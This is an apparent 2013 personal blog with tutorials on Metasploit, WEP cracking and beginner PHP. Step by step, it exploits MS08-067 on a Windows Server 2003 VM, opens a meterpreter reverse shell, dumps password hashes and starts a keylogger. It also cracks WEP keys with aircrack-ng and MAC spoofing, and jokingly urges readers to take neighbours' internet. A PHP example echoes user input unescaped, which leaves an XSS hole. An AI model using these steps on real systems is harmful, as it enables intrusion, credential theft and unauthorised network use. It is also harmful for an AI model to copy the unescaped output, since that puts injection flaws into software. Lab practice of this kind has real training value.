Saturday, 26 January 2013

Intro to Metasploit: Attacking Windows Server 2003

Hey guys,

Todays tutorial is going to focus on using metasploit to compromise a remote system and gain administrative access. This tutorial will be fairly brief and to the point and is meant to be an intro to metasploit, i'll be following it up with some more thorough tutorials that dive into more detailed use of metasploit and all of its functionality.

What you will need for this tutorial:

    Metasploit (Download: http://www.metasploit.com/download/)
    A target OS(I'm using a VM running windows server 2003, I advise using the same for this tutorial as this particular exploit may not work on some other Operating Systems(In setting up the virtual machine you may need to change the network settings to run in bridged mode, NAT may cause issues in getting the exploit to work))

Once you have metasploit downloaded and installed the first thing you should do is update your version to make sure everythings up to date. On a unix based OS you can do this by opening a terminal and entering the following command:

    sudo msfupdate

be patient as this may take a few minutes to complete, once this is finished we can load up metasploit using this command:

    sudo msfconsole

this can take a few seconds-up to a minute or two so be patient, once it loads you should be presented with a screen similar to the following:



(Note metasploit has a number of banners that it randomly selects at load so it might not look exactly like this, don't fret as long as you see the msf > prompt you're fine)

Metasploit is an awesome tool with a large set of features to help you get information on exploits, auxilleries, etc... command line programs can be intimidating at first glance but once we take a look at some of these features you should feel a lot more comforatable using this interface. For a list of commands type the word help and press enter, this provides us with a complete set of commands and a brief description of their purpose. Another great feature of metasploit is auto-tabbing. That is to say, if you are unsure of an exact command or path you can type the first part of it and hit tab twice, metasploit will then generate a list of all the valid endings. I may be wording this poorly so lets take a look at an example for clarity. The exploit we will be using for this exercise is ms08_067_netapi, the path for it is exploit/windows/smb/ms08_067_netapi but say we only remember it's in exploit/windows/smb we can type:

    use exploit/windows/smb/ms0

followed by tabbing twice and we receive the following list of options in which we see our exploit ms08_067_netapi:



I want to take a step back and briefly explain the command: use exploit/windows/smb/ms08_067_netapi

What we're doing here is selecting a specific exploit that we want to use, once we have entered this command our prompt will change to:
msf exploit(ms08_067_netapi) >
and all further commands we enter will pertain to arming that exploit with a payload and determining its source and destination. A useful command at this point is the info command, by entering info we can view some of the options available, which operating systems the exploit will work on, and a brief writeup on the exploit itself:



Also useful is the 'show options' (without the apostrophes) command which allows you to view a complete set of options that can be set for the exploit. if we enter show options we can see the following options, some of which are already pre-set with defaults:

RHOST
RPORT
SMBPIPE

EXITFUNC
LHOST
LPORT

which all come with a brief description of their purpose. The two we want to set are the RHOST and the LHOST values, these are the IP addresses of our target, and our own station respectively. To set these values we enter these commands(your IP Addresses may be different)

set RHOST 192.168.1.118
set LHOST 192.168.1.147

but we're not finished yet, so far we've found an exploit and we've set our target and local addresses, but we still need a payload. If you're confused about what exactly the difference between an exploit and a payload is: An exploit is a vulnerability in an application, the presence of this vulnerability allows for some type of unauthorized access, in many cases this is a buffer overflow in which foreign shellcode can be pushed onto the stack and executed, the exploit is like a door, it allows passage in, the payload is the shellcode that is being pushed onto the stack. So we can think of the exploit as our doorway in and the payload as the battering ram we use to knock that door down.

we have several options available to us and again we can auto-tab to get a complete set, but in this tutorial we will be using meterpreter as our payload, specifically the reverse_tcp shell. Meterpreter is an awesome tool that comes with metasploit that allows a custom terminal interface to be used on the targetted system, it has a number of advanced options that allow you to escalate priveleges and gain a system user with a few simple commands. To set our payload we enter the following command:

set PAYLOAD windows/meterpreter/reverse_tcp




now we're ready to roll, we can begin by typing the following command:

exploit

Now it will go through a quick process of running the exploit and if all goes well you should be presented with a

meterpreter >



prompt. If you type help you will receive a list of commands you can use from within the meterpreter shell, I suggest briefly looking through them before continuing.

Now that we have access to the target system its time to run some determine some information about the system we've compromised if we enter

sysinfo

we can get detailed information on the operating system and service pack

getprivs
getsystem



with these two commands we can elevate our priveleges and attempt to gain access to a system user

hashdump




will dump the SAM password file providing you with the password hashes of system users

keyscan_start
keyscan_stop
keyscan_dump

are used as keylogging software on the target

There are a number of other cool and awesome tools which is why i highly recommend taking a look through some of the features on your own and playing around a little bit with things. Meterpreter runs by merging itself into a process running on the system, sometimes if that application is closed by a legitimate user on the system it can prematurely end our access to the system, but fear not! There is another tool available to allow you to change which process you're in, and migrate into a process thats not likely to be closed(you know... like explorer.exe) to view a list of available processes running type

ps

it will provide you with a list of processes similar to what you'd see if you opened task manager on a windows system, from here we want to look in the PID column and get the PID of the process we want to migrate to, from there we simply need to type:

migrate PID



in my case this was 1300, now we can double check which our current process is by typing

getpid

if the numbers match up you're golden!

so at this point we have gained access to the system, elevated our priveleges and gained system access. PWNing of the box has completed and you can begin doing whatever you feel, sometimes though you may find that meterpreter doesn't have an exact match to a command you're used to using in a command line, if this is the case you can type

shell

and drop right into a native os shell, to go back to meterpreter simply type

exit

if you have a series of systems you want to compromise at the same time you can background a meterpreter session and return to the metasploit console, and go back into that session at any time. From the meterpreter shell type:

background

then type

sessions

to view active sessions, note the id # of the session you would like to enter back into and type

sessions -i #

(where # is the ID of the session)

You can slso choose to go directly into an OS shell instead of a meterpreter one by using the payload windows/shell/reverse_tcp



As I said at the beginning this wasn't aimed at being a very comprehensive tutorial but rather to just get people familiar with using the basic functions of metasploit and make it a little more accessible to people who havn't had a chance to really dig deep enough into it. I'll be following this up with some examples of using metasploit on UNIX systems as well as diving into some other features like using a custom payload. Hope you all enjoyed it, until next time folks!

Monday, 21 January 2013

Cracking WIFI Networks: Attacking WEP

Hey guys,

I'm going to do a brief writeup on a common method used for cracking WEP encryption, using this method you can gain access to just about any wireless network using WEP encryption.  This will be followed up with methods to attack WPA2 networks as well as some more advanced wireless attacks like the cafe late and hirte attacks

What you need:
        aircrack-ng software suite
        macchanger program
        wireless adapter(internal or usb, either will work)
        linux(i could be wrong but its my understanding that theres either none or a severe shortage of drivers for windows to allow promiscuos mode on wireless receivers, either way this tutorials focusing on linux)

        backtrack comes packaged with everything necessary, and unetbootin is a great tool for setting up a bootable flash drive, that way you can turn almost any laptop into a useable auditing machine if you're in a pinch. if you have any particular aversion to using backtrack pretty much any other pen-testing distro should have these tools and if not they are all available for free.

Getting Started:
        The first thing we'll do before we begin is just set a dummy MAC address for the sake of being uber ninjas(its pretty unlikely for someone to track you down based on the MAC address of your ethernet adapter, but its easy enough to fake anyways)

        Enter the following commands into a terminal:


        ifconfig wlan0 down
        macchanger -m 00:11:22:33:44:55 wlan0
        ifconfig wlan0 up


        These commands MUST be executed as root so either type sudo at the start of each or type 'su -' to temporarily sign into the root users account.

Posted Image


        Now that that's taken care of, we need to set our network adapter to premiscuous mode, wherein it will start listening to all the wireless traffic floating through the air regardless of which channel it's broadcasting on, this will allow us to map out all of the networks in the area. To do this enter the following command(again and throughout the entire tutorial root priveleges are required):


        airmon-ng start wlan0


        This will create a mon0 interface that we will be interacting with throughout the rest of this tutorial, below is a screenshot of what the output should look like:

Posted Image

        Now that we have the interface setup we need to start sniffing the air to see what networks are available, to do this we'll want to enter the following command:


        airodump-ng mon0


       Now you should see a list starting to build, let it run for a minute or two to get an accurate idea of what networks are available, a few key columns you should start making note of are: BSSID, #DATA, CH, ENC/CIPHER, ESSID

        BSSID - This is the MAC Address of the AP, once you pick your target copy the BSSID to your clipboard because you will be using it a lot.
        #DATA - Shows the number of packets sent over the network since you've started sniffing
        CH - the channel the AP is broadcasting on
        ENC/CIPHER - tell you the encryption in use, for this tutorial we are interested in networks where these cols say WEP
        ESSID - this is the SSID of the AP(The wireless network name that shows up when you scan for the network on your laptop or phone)

        As the tutorial goes on you'll see why these values are important. Below is a screenshot of roughly what you should be seeing:

Posted Image

        Now once you've seen which networks are available and decided which one you want to crack hit ctrl + c to stop airodump-ng, then you want to highlight and copy the BSSID and make note of the channel from the network you're targetting and enter the following command(replace {BSSID} with the BSSID and {CHANNEL} with the channel):


        airodump-ng -c {CHANNEL} -w dumpfile --bssid {BSSID} mon0


        Now you should see something similar to before except it is exclusively locked on the target network.

Posted Image

        We want to keep this window running in the background but open another terminal as well and enter the following command:


        aireplay-ng -1 0 -a {BSSID} -h 00:11:22:33:44:55 mon0


        At this point what we're doing is trying to trick the AP into "Authing" us so that we can begin exchanging packets, WEP encryption is so inherently weak that all we need to do is capture enough IV packets and no matter what we can obtain the key, by authing we can try a arpreplay attack and get those packets much quicker, sometimes this wont work but it usually does, after you auth open yet another terminal and enter the following command:


        aireplay-ng -3 -b {BSSID} -h 00:11:22:33:44:55 mon0


        This terminal should start sending packets to the router, if you open the original screen which is monitoring the network traffic you should notice the #DATA field increasing rapidly, if it is then everythings going as planned and in a few short minutes you'll have free internetz! Below are a few quick screens to demonstrate the last two commands

Fakeauth:
Posted Image

Arpreplay:
Posted Image

        The final step is to open yet another terminal and enter the following command:
     

        aircrack-ng dumpfile*.cap


        remember the previous command where we entered -w dumpfile? that was the name of the file we were writing to, you can call it whatever you like. Initially the program will create dumpfile-01.cap, if you then stop and were to start again it would create dumpfile-02.cap etc.. and so forth. so I usually just use filename*cap as the filename parameter to aircrack-ng and it will automatically load all of the dumpfiles that you've obtained with that name. Now all thats left is waiting, if the network uses 64 bit WEP you're looking at around 5000-10000 IV packets if its 128 bit then perhaps 20000-30000 IV packets, this should take at maximum around 15-20 minuets to complete. And all of these programs can run concurrently, airodump-ng will continue writing to the cap files and aircrack will keep testing as the file is being written to. The end result should look something like this:

Posted Image

        Theres our key! D8:14:16:9E:50 by entering this when prompted for a password when we connect, we are able to gain access to the network(don't enter the colons ':' just the 10 hex characters) I have yet to come across a WEP network that this method wouldnt work on, sometimes depending on signal strength and various other factors you will meet with varying success using arpreplay attacks but even if they fail you can still leave a laptop sniffing over the course of a day or two and just through the owners personal browsing you should be able to obtain enough packets to crack the key. I hope this was of help, if anyone has any questions or if anythings written unclearly please let me know and ill get back to you as quick as i can!

If this seemed stupidly easy its because it is. And if you go around sniffing networks(theres lots of free apps for it, do it on your phone sometime) you'll be surprised at just how many networks actually run WEP still(in my experience id estimate somewhere between 25%-50%) so if you're ever a poor college student staying in an apartment somewhere theres one way you can cut costs by eliminating an internet bill ;)

Programming and Problem Solving in PHP #2

Hey guys,

Time for tutorial #2 in my series of Programming and Problem Solving posts! Today the first thing we're going to do is go over some things that weren't touched on in detail in the last tutorial that you should be familiar with before we proceed.

The first thing to notice is that in the last tutorial the code had a lot of semi-colons ";" this is a symbol used by the interpreter to determine where the end of each command is. Generally speaking(although there are exceptions which we will touch on) every line should end with a semi-colon, you can also stack two commands onto a single line like this:

<?php
echo "Hello"; echo " "; echo "Dickwad\n";
?>

If anyone was expecting that last echo to say world, im sorry to disapoint but thats just a little toooooo cliche. the previous segment of code, to the interpreter, is identical to:

<?php
echo "Hello";
echo " ";
echo "Dickwad\n";
?>

and

<?php
echo "Hello Dickwad\n";
?>

note that although you CAN stack commands onto one line, unless you have a specific reason to you should avoid doing such, even though it will execute fine on the computer end, if you or anyone else has to actually maintain the code it can make things a lot more painful.

Another convention that Im going to do everything I can to drill into you guys is proper indentation. I dont give 2 fucks if you think you can obfuscate your code by leaving it unindented and sloppy, trust me a half retarted monkey could reverse just about any of the obfuscation ive seen in skiddy php shells and scripts, all it serves to do is make you look like you dont know what the fuck you're doing and like you don't belong anywhere near a modern computer. When you have a script of hundreds, thousands, or even millions of lines of code that you have to maintain and manage, INDENTATION IS KEY. say it again because its that important. INDENTATION IS KEY. Until we touch on conditional statements later in this tutorial I won't be able to give much of a concrete example so this is all ill say on indentation for now.

You may have noticed in the code examples that they always begin with <?php and end with ?>, these tags tell the php interpreter what to process(since you can splice php code among html you can have a script entirely in html with a single <?php include 'menu.php'; ?> inside the html, so these tags exist to tell the interpreter exactly what to process and what to ignore.) There is short tags available as well which let you use simply <? and ?>, this is a setting that needs to be changed in the php.ini configuration file, but regardless, <?php ?> should work no matter what.

One more thing to catch up on before we dig any deeper. PHP is a recursive acronym, it stands for PHP Hypertext Preprocessor. The key word we're looking for here is pre-processor. If any of you have written in C or C++ you may be familiar with the concept of a preprocessor, its what takes all the #include files(like #include <iostream> and #include "stdlib.h") and embeds those libraries into your current file. PHP also has this feature available so you can include libraries and scripts into new applications you write(this may seem like a somewhat complicated concept at the moment but trust me its pretty simple and makes scripts way more reuseable) with this in mind we have 4 ways of including external scripts into our main script

For more information on Preprocessors: http://en.wikipedia....ki/Preprocessor

include()
include_once()
require()
require_once()

as you can see they're all quite similar ill start first with the differences between include and require

basically if you require a file and its unavailable, the program will stop execution and throw you an error saying that you're a real jerkface telling it to look for files that don't exist. If you use include it will continue execution and proceed but without the code that you intended to include so it very well may break down if any of that code is directly referenced or you may end up with a website that only half renders, etc... but the key difference between require and include is that with require if its not there its not loading.

now to touch on require_once and include_once, they both have the same differences that require and include have. the _once indicates that if in your script you have several references to a file and require or include it in more than one spot, to reduce overhead it will check and only actually load that file into memory once and use that location for all future references, instead of loading the same library into memory multiple times.

That being said, I almost exclusively use require_once, it ensures that overhead is limited and that my script won't errenously proceed without its requirements. However you should assess each situation and determine which is the most appropriate for your specific needs.

OK so we're caught up and I think we're ready to move onto something new. For once we'll get into some real actual coding... This next part is going to be broken into two parts, as PHP is primarily used in two ways: as a web application scripting language and as a command line scripting language. So we'll run through a few examples of how to obtain user input through both the command line as well as through using html forms on a web page.

We'll start off by doing it using the command line which may seem a little bit more complicated but by and large is a lot less work than creating a web page to read the info and send it off to be processed.

<?php

$input;
print "Enter your name: ";
$input = trim(fgets(STDIN));
print "Your name is: " . $input . "\n";

?>

so what we've done here is created a variable named $input, we then prompt the user to enter their name(notice the print "Enter your name: " doesn't have the \n character in it. This means that when the user enters text it will appear directly to the right of the prompt instead of the line below it) Then we come to the line: $input = trim(fgets(STDIN)); in this line we are assigning the result of trim(fgets(STDIN)) to the variable $input. trim() is a function used to remove whitespace and endline characters as well as a few others. The reason for this is if they enter "Harold" and hit enter, the value of input will be "Harold\n" so if you print $input it will jump a line, trim removes the \n and leaves us with just the data we want. fgets(STDIN) extracts the data from the standard input buffer(in this case whatever was typed on the keyboard) Thats it, this is really all you need to know to get started with command line scripts and user input.

Obtaining input from a web form takes a few more lines of code so i'll write out an example first then well go through it piece by piece.

[code]
<?php
if(isset($_GET['sentinel']))
{
        print "Your name is: " . $_GET['name'] . "\n";
}
else
{
?>
<form method="GET" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<input type="text" id="name" name="name" placeholder="Enter your name..." />
<input type="hidden" id="sentinel" name="sentinel" value="1" />
<input type="submit" value="Submit" />
</form>
<?php
}
?>


NOTE**: the line of an if statement does NOT require a semi-colon, just if(condition){} each line within the {} requires a semi-colon but the if statement itself does not.

Theres a few things in this code that we haven't taken a look at yet so I'll give a brief overview here but we'll go more into detail on them later.

We see here says: if(isset($_GET['sentinel']))

What we're really telling the computer is that if the variable $_GET['sentinel'] exists then we want to execute the following indented block of code, in this case a single print statement. If that variable does not exist we want to skip that line and instead execute the other block of indented code which presents an html form to the user asking for their name. This is what we refer to as a control structure, the concept of if/else clauses allows us to create several alternative courses of action that will be executed depending on which conditions are met, in this case the condition is the existence of the $_GET['sentinel'] variable. We call these kinds of operations "Conditionals" or "Conditional Statements". Why do we care if $_GET['sentinel'] exists? lets take a closer look at the second block of code

<form method="GET" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<input type="text" id="name" name="name" placeholder="Enter your name..." />
<input type="hidden" id="sentinel" name="sentinel" value="1" />
<input type="submit" value="Submit" />
</form>

if you're familiar with html most of this should be pretty straight forward, by using the GET method we're basically saying "Send these variables in the clear via the URL" and you'll notice when you submit the form the URL changes to something like: http://192.168.1.146...rian&sentinel=1
Trailing from the URL are the values: name=Brian&sentinel=1 notice in the Form we have two input fields name and sentinel that correspond with these, so when the form is submitted two variables are being created: $_GET['sentinel'] and $_GET['name'] if these don't exist we can safely assume the user has not submitted the form, therefore we want to display the form to get them to fill it out. However if these variables do exist we can reasonable assume they have filled out the form and instead want to display the results back to them. Technically there are 3 input types, the submit is one as well but fuck submit thats irrelevant.

If you want to submit form data but have it not appear in the URL(say someones logging into a website, sending the username and password clearly in the URL is obviously a bad idea)  then you can use the POST method instead of GET, all you have to do is substitute method="GET" for method="POST" and prefix your variables with $_GET instead of $_POST. This is also an example of a self-contained script. We wrote the input and processing stages all to one file. But what if we need to send the data from a form to a different file? the action="" determines where to send the request, we have sent it to $_SERVER['PHP_SELF'] which is a variable that contains the name of the file we're using so basically it says "send it back to me, ill reload and re-evaluate" but you can instead put in any file name you like.

So now we've got an introduction into some basic user input, as well as conditional statements. But conditionals, as we've seen them thusfar, seem kind of limited don't they? right now we can only choose between two options, if this do this otherwise do that. For some problems this will be sufficient but its not hard to see this being insufficient for more complex problems. So lets look at the If/Else claus a little more thoroughly and look into a concept known as nesting.

Nesting is the concept of inserting one block of code into another block of code, for example the form in the previous example was nested under the else statement and the print was nested under the if statement. Lets write a simple script to determine if its morning or afternoon, as well as if its a weekday or if its the weekend:


<?php
$day = date("l");//returns the full name of the current day e.g.: Monday, Friday
$timeday = date("a");//returns either am or pm in lower case

if($day == "Saturday" || $day == "Sunday")
{
        print "It's the weekend!\n";
        if($timeday == "am")
                print "\t It's the morning!\n";
        else
                 print "\t It's the Afternoon!\n";
}
else
{
        print "It's a weekday :(\n";
        if($timeday == "am")
                 print "\t It's the morning!\n";
        else
                 print "\t It's the Afternoon!\n";
}

?>

Alright so a few things we can ignore here are basically the date() function, it's beyond the scope of this tutorial but I've included in the comments exactly what data is being sent to those variables to give you an idea of what its doing.

In this code we have an if else block embedded inside of the if else block, this way we can create even more potential flows of execution. A few other things that we havn't seen before are || and == we'll discuss || and some other corresponding operators later on but for now lets focus on ==. Remember in the previous tutorial when I said to make a note of one = sign meaning assignment? e.g. $var1 = 5; assigns the value of 5 to $var1, when we use two equal signs its to compare the values of two items, so:

if($day == "Saturday" || $day == "Sunday")

is checking to see if $day is equal to the value Saturday or if $day is equal to the value Sunday(|| is the logical or operator, if $day is equal to either of those values, the condition returns true and the block of code is executed, only if each condition is wrong will it continue on to the else) so basically the first thing we're checking is if its a weekend or a weekday, then outputting those results, from there we check if its morning or afternoon then output that as well. You might notice that the outer blocks use {} brackets to contain their blocks whereas the internal if/else statements don't. This is a matter of preference but to break things down:

if there is ONE and only ONE line of code, you may omit the brackets(still be sure to indent so that its readily apparant, if you dont indent it will still run perfectly fine but could be a bit boggling to read) if there is more than one line of code you MUST i repeat MUST use {} brackets to contain it. Heres why:

say you have 3 or 4 conditions you want to check but only have an if/else and nothing to say this or this or this or this(note i dont mean this || this || this i mean if this else if this else if this else this)

we can write it such as:

if(condition 1)
        process 1
else
        if(condition 2)
                process 2
        else
                if(condition 3)
                        process 3
                else
                        process 4

this might take a second to set in, and understandably so but basically this lets us check through a number of options, it is however written in a overly complex way, so people have constructed the concept of the else if statement written this way for clarity:

if(condition 1)
        process 1
else if(condition 2)
        process 2
else if(condition 3)
        process 3
else
        process 4

THIS IS the correct way to write it. using if/else if/else statements we can effectively check through any combination of conditions that we need(well not exactly but with the help of || and some other operators we can achieve that goal)

Apart from if/else statements theres another option for running through conditionals, its used less often but excels in certain situations so for the sake of a full background we'll go over the switch statement next:

the format of a switch statement is to take a variable then check its value against a number of options, if any are true then a block of code is executed, lets look a little closer:

switch($variable)
{
        case "Sunday":
                print "Sunday\n";
                break;
        case "Monday":
                print "Monday\n";
                break;
        case "Tuesday":
                print "Tuesday\n";
                break;
        case "Wednesday":
                print "Wednesday\n";
                break;
        case "Thursday":
                print "Thursday\n";
                break;
        case "Friday":
                print "Friday\n";
                break;
        case "Saturday":
                print "Saturday\n";
                break;
}


in this example we're reviewing the value of $variable, if it corresponds to any of the days of the week that day will be printed, so when we see case "" what lies between the "" is what we are comparing it to, you can also use case 0: case 1: case 2: etc... if you're using a numerical value(it can be useful when iterating through an array, more on that later!)
notice the break statement at the end of each block too, break tells the program to break outside of the current block(basically it looks for the next } character and executes the line after it) if we don't include break after every case it will continue executing the code from each following case, so if we remove break from sunday and $variable == "Sunday" then we will have sunday and monday print out. Knowing this we can actually create teh equivalent of || statements by omitting break statements:


switch($variable)
{
        case "Saturday":
        case "Sunday":
                print "Weekend!\n";
                break;
        case "Monday":
        case "Tuesday":
        case "Wednesday":
        case "Thursday":
        case "Friday":
                print "Weekday :(\n";
                break;
}


So now if the day is a sat or sun it will print weekend otherwise it will print weekday, pretty cool huh?

Alright so you guys have been patient and we've been taking in a lot of fairly boring info without getting down and dirty and writing any real code so nows your reward! the following are a few case studies, I'll help by presenting you with an algorithm and leave it to you to write up these programs and test them on your own. If anyone has any difficulty or questions don't hesitate to shoot me a pm or post a reply and ask and ill be glad to help as quickly as I possibly can! All of these except for the last can be done in command line or in a web application, its up to you which you'd prefer to work in or if you're a hardcore you can do it in both :) the last is specific to web pages(alternating background colours for table rows!)


Case Study 1:

    Modify the earlier script that prompts the user for a name, have it prompt them for a name and an age and print out both results back to them

    Algorithm:
        prompt user for username
        prompt user for age
        print results back to user

Case Study 2:

    Change Sorter
    A script to prompt the user for the amount of change they have(in cents) the script then performs some basic calculations on the data to determine the number of dollars, quarters, dimes, nickels, and pennies in the change

    Algorithm:
        prompt user for amount of change
        divide change by 1.00 to get the number of dollars
        modulus divide change by 1.00 to get remaining change
        divide remaining change by .25 to get the number of quarters
        modulus divide the remaining change by .25 to get the remaining change
        divide the remaining change by .10 to get thenumber of dimes
        modulus divide the remaining change by .10 to get the remaining change
        divide the remaining change by .05 to get the number of quarters
        modulus divide the remaining change by .05 to get the number of pennies
        print the results to the user

Case Study 3:
  
    Basic Calculator
    Create a calculator that allows the user to enter two numerical values as well as an operator to perform a mathematical calculation and output the results

    Algorithm:
        prompt user for first number
        prompt user for second number
        prompt user for operator(+-/*%)
        perform calculation and output results

Case Study 4:

    Alternating Row Colours
    often when generating html tables we want to stylize them to have alternating background colours, you can do this manually but its tedious and laborious, using modulus division we can create an infinite on-off sequence, imagine we have each row keyed to a value 0-9 well say if the row key % 2 is equal to 0 then make it colour a otherwise make it colour B


    key:
    0        %2 == 0
    1        %2 == 1
    2        %2 == 0
    3        %2 == 1
    4        %2 == 0
    5        %2 == 1
    6        %2 == 0
    7        %2 == 1
    8        %2 == 0
    9        %2 == 1

Programming and Problem Solving in PHP #1

Programming and Problem Solving

"computer science is no more about computers than astronomy is about telescopes." -Edsger W. Dijkstra

Hey Everyone, welcome to my first tutorial on Programming and Problem solving. The purpose of this tutorial is to break the ice and provide an introduction to the world of programming and problem solving for you guys.  The language being used for this will be php for a number of reasons: PHP is a very robust and powerful scripting language, its syntax is highly influenced by C/C++ and as such it is very similar to a number of other programming languages so if you decide to branch out after it should make the transition a little easier, it's an interpreted language, so you don't need to go through the process of compiling or using a debugger to get started which can be a little intimidating to some new users. A key focus of this is on the methods and concepts used though, as they will be universal no matter which language you are writing in. To start we will discuss briefly Algorithms, which are often overlooked by novice programmers but are crucial to producing quality and efficient code as well as saving you hours of ripping your hair out in frustration.

Algorithms:

An Algorithm is the first step in the problem solving process. Before you even touch your keyboard and write one line of code you should at the very least have written out a basic algorithm to provide a framework for your application. The technical definition of an algorithm is "A finite number of steps that solve a particular problem". A very good analogy to an algorithm is a recipe card, if each step is followed then the end result will be whatever food you're trying to make and obviously there is a finite number of steps to baking a cake. Without first logically stepping through your problem you can find yourself writing code for 3 or 4 hours only to find that you have misunderstood your original problem and solved a different one or none at all, meaning you've wasted your time and need to start again. It also causes headaches if you ever try to add to an application and havn't planned for it, you'll have to splice new code in and create a clusterfuck of frankenstein code that is near unmaintainable. So lets first try and make a simple algorithm for making a pot of coffee.

Step 1: Get a coffee filter
Step 2: get coffee grounds
step 3: get water
step 4: fill coffee machine with water
step 5: put coffee filter into coffee machine
step 6: put coffee grounds in coffee filter
step 7: turn on coffee machine


If we follow this set of instructions we're minutes away from a fresh cup of coffee! fuck yeah! we could make it more thorough by adding additional steps, such as specifying what angle to tilt the water container when pouring it to determine if it pours quicker or slower, the faster it pours the higher chance of spilling the slower it pours the lower the chance, here we have an opportunity to tweak the process out, we can weigh the cost benefit analysis between speed and spillage to create an optimal pour, or we can remove steps to make it a more basic outline. Generally a more detailed algorithm is always superior to a more basic one but make sure you always have at least something before you start. If you want to be a good programmer you have to view everything as a problem to be solved, in life there is almost always more than one solution to a given problem but not all solutions are created equally and some are inherently better than others, by assessing the problem and breaking it into its core components we can create a more elegant and efficient solution.

Variables:

OK so up until now we've been discussing a lot of boring theory but havn't actually written any code. Well thats going to change now. The first thing we want to look at with regards to the programming language itself, is the syntax for variables(syntax is just a fancy word for the way the language is written. It works with non-programming languages too :D). A variable is a container for data. Think back to math when you were a kid and you had to solve this problem:

let x = 2 + 5
solve for: 2x + 3


In this example x is equal to the value 7, the solution to the question then is: 2(7) + 3 or 14 + 3 or 17. However it is much easier to write 2x + 3 than 2(2 + 5) + 3, and if we want to change the value of x but keep the same equation all we have to change is the first line where we declare x. Variables work in the exact same way in programming. But before we go further and actually declare a variable theres something else we should look at with regards to variables: Data Types

Given the nature of programs and computers sometimes we need values other than 2 + 5, say, if you wanted to store someones name, or if you wanted to operate on a fraction of a number. When we declare a variable it is assigned a data type that tells the computer how to store the data we assign to it internally. Some basic data types that you should be familiar with are:

Integers
    Integers are whole numbers: 4, 2, 3, 87, 349234 are all integer values
Floats(doubles)
    floats or floating point numbers are used for numbers with a decimal point like 5.2 or 4.20
Chars
    a char, as its name suggests, is a single character like 'a' or '@'
Strings
    a string is a sequence of characters, like a name: "Brian" or "Phaedrus"
Boolean
    Boolean values are a logical true or false value, in many languages boolean values are aliases for the binary values 0 and 1. 0 representing false and 1 representing true(although in many instances any non-zero value will be considered true but we will come back to that point later on)


There are some other data types as well as the ability to create your own data types but for now these are the core types we will focus on. With Data types in mind theres a few things to address, you might ask "whats the difference between 5 and 5.0? why is it necessary to have more than one data type for numerical values?" The answer is a long complicated and largely boring one that involves converting from decimal into binary(Remember, computers work internally using binary values, so when you give the variable age a value of 25 the computer needs to convert it into a binary value to store it) Computers allocate more space for a float than they do for an int so even if the value is equivalent such as 5 or 5.0 the value is internally represented differently. So what happens if we try to multiply an integer value age equal to 25 with a double value cur_year which is equal to 0.8? Now in php, because it is such a robust language the answer is slightly anti-climactic. The php interpreter will automatically convert age to 25.0 and multiply that. In some languages like C or C++ we would have to explicitly typecast(convert a value from one data type to another) before performing the multiplication, but php being the sexy beast it is, takes care of this process for us behind the scenes. Even though php can typecast automatically it still provides a set of functions for you to explicitly typecast values if you ever have need. For more information on data types you can consult: http://php.net/manual/en/language.types.php

When declaring a variable the following set of instructions must be adhered to:

    Variables in PHP start with a $ sign, followed by the name of the variable
    The variable name must begin with a letter or the underscore character
    A variable name can only contain alpha-numeric characters and underscores (A-z, 0-9, and _ )
    A variable name should not contain spaces
    Variable names are case sensitive (y and Y are two different variables)

So now that all of thats out of the way we can start writing some basic programs:

<?php
$x = 25;//Assign a value of 25
$y = 42;//Assign a value of 42
$z = 56;//Assign a value of 56

$q = $x + $z;//Assign a value of 81
$r = $y * $x;//Assign a value of 1050
$s = $q * 5;//Assign a value of 405

?>

Notice that to assign a value we simply use a single = sign. Make a mental note that assignment uses a single equals sign, later on you'll see why this is important.

So we can now do some basic arithmetic, but how do we get the computer to display our results back to us? Theres several options but for the time being we'll just focus on the basic ones echo and print. Both echo and print work in nearly identical ways:

<?php
$name = "Phaedrus";
print "Fuck " . $name . " is awesome\n";
echo $name . " is the shit!\n";
?>

will produce the output:

Fuck Phaedrus is awesome
Phaedrus is the shit!

so now we can assign values, perform basic calculations, and print our values back out to the screen! That covers the basics that we'll go over in this tutorial, Ill post some followups that go into further programming concepts like loops, if/else conditionals, functions, all the way up to creating objects. If anyone has any questions about this tutorial or if anythings written in an unclear way please let me know and ill try to clear things up. For practice try writing some basic programs that play with performing basic equations and printing the results, a basic list of mathematical operators is:


+
    Addition: Adds the value on the left to the value on the right
-
    Subtraction: Subtracts the value on the right from the value on the left
*
    Multiplication: Multiplys the value on the left by the value on the right
/
    Division: Divides the value on the left by the value ont he right
%
    Modulus Division: written in the same format as regular division but returns any remainder from the division

Welcome!

Hey everyone,

Welcome to Durendals-Domain my blog devoted to IT Security, Computer Science, and some other random crap that I decide to throw in here and there. I'll be starting out by posting a series of tutorials based on learning the PHP scripting language but with an emphasis on Formal Problem Solving and programming conventions to make most of the content transferable to other languages. I spend a lot of my time writing web bots so expect to see some posts relating to that as well. A bit about myself, I'm a 24 year old Computer Science student from Canada.